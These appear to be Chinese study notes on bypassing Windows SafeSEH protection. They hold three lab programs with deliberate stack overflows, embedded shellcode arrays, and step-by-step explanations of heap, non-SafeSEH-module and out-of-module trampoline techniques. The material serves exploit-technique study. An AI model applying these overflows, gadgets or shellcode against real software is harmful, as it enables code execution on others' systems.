11.1 SafeSEH 对异常处理的保护原理
- SafeSEH的保护机制:

- 检查异常处理链是否位于当前程序的栈中。
- 检查异常处理函数指针是否指向当前程序的栈中
- 在前面两项检查都通过后,程序调用一个全新的函数 RtlIsValidHandler(),来对异常处理函数的有效性进行验证。
11.4从堆中绕过SafeSEH
- 实验代码,编译为Release版本:
#include <stdafx.h>#include <stdlib.h>#include <string.h>char shellcode[]="\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C""\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53""\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B""\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95""\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59""\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A""\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75""\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03""\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB""\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50""\x53\xFF\x57\xFC\x53\xFF\x57\xF8""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\xA0\x29\x39\x00"//address of shellcode in heap;void test(char * input){char str[200];strcpy(str,input);int zero=0;zero=1/zero;}void main(){char * buf=(char *)malloc(500);//__asm int 3strcpy(buf,shellcode);test(shellcode);}
实验的原理是:如果 S.E.H 中的异常函数指针指向堆区,即使安全校验发现了 S.E.H 已经不可信,仍然会调用其已被修改过的异常处理函数,因此只要将 shellcode 布置到堆区就可以直接跳转执行。
11.5利用未启用 SafeSEH 模块绕过 SafeSEH
实验代码,编译为Release版本:
#include "stdafx.h"#include <string.h>#include <windows.h>char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x12\x10\x12\x11"//address of pop pop retn in No_SafeSEH module"\x90\x90\x90\x90\x90\x90\x90\x90""\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C""\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53""\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B""\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95""\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59""\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A""\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75""\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03""\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB""\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50""\x53\xFF\x57\xFC\x53\xFF\x57\xF8";DWORD MyException(void){printf("There is an exception");getchar();return 1;}void test(char * input){char str[200];strcpy(str,input);int zero=0;__try{zero=1/zero;}__except(MyException()){}}int _tmain(int argc, _TCHAR* argv[]){HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JUMP.dll"));//load No_SafeSEH modulechar str[200];__asm int 3test(shellcode);return 0;}
- 实验的大致原理:如果模块未启用 SafeSEH,并且该模块不是仅包含中间语言(IL),这个异常处理就可以被执行。所以如果我们能够在加载的模块中找到一个未启用 SafeSEH 的模块,就可以利用它里面的指令作为跳板来绕过 SafeSEH。在实验中就是利用了SEH_NOSafeSEH_JUMP.dll模块中的“pop pop retn”指令序列让程序调到我们的shellcode处来执行。
- 实验的步骤:
- 首先需要在SEH_NOSafeSEH_JUMP.dll模块中找到一处“pop pop retn”的指令序列。

- 然后找到SEH链中最接近栈顶的SEH。

- 计算出缓冲区起始位置和这个SEH的距离,然后通过缓冲区的溢出,覆盖异常处理函数的指针,使异常处理函数的指针指向没有SafeSEH的模块的“pop pop retn”的指令序列。也就是通过这个指令序列将程序转到我们的shellcode处执行。


- 当程序执行转到我们的shellcode处时,会出现一些被修改的地方,这里有时会对我们的shellcode造成一些影响,只是本次实验没有产生。
11.6 利用加载模块之外的地址绕过 SafeSEH
- 实验代码,编译为Release版本:
#include "stdafx.h"#include <string.h>#include <windows.h>char shellcode[]="\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C""\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53""\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B""\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95""\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59""\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A""\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75""\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03""\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB""\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50""\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\xE9\x2B\xFF\xFF\xFF\x90\x90\x90"// machine code of far jump and \x90"\xEB\xF6\x90\x90"// machine code of short jump and \x90"\x0B\x0B\x29\x00"// address of call [ebp+30] in outside memory;DWORD MyException(void){printf("There is an exception");getchar();return 1;}void test(char * input){char str[200];strcpy(str,input);int zero=0;__try{zero=1/zero;}__except(MyException()){}}int _tmain(int argc, _TCHAR* argv[]){__asm int 3test(shellcode);return 0;}
- 实验的流程:
- 首先需要在内存中找到程序加载的模块(除了EXE和DLL),如下图所示,类型为 Map 的映射文件,SafeSEH 是无视它们的,
当异常处理函数指针指向这些地址范围内时,是不对其进行有效性验证的,所以如果我们可以在这些文件中找到跳转指令的话就可以绕过 SafeSEH。
- 首先需要在内存中找到程序加载的模块(除了EXE和DLL),如下图所示,类型为 Map 的映射文件,SafeSEH 是无视它们的,

- 然后利用OllyDbug的插件OllyFindAddr找到一条跳转指令,如在0x00290B0B 处找到了一条 call [ ebp+0x30]的指令。
- 由于0x00290B0B 这个地址中包含了0x00,也就是在字符串复制(strcpy)的时候会0x00之后的内容会被截断,因此需要将shellcode放在跳板的前面。
- 执行完strcpy之后,内存的情况如下图所示:

- 原理图如下所示:

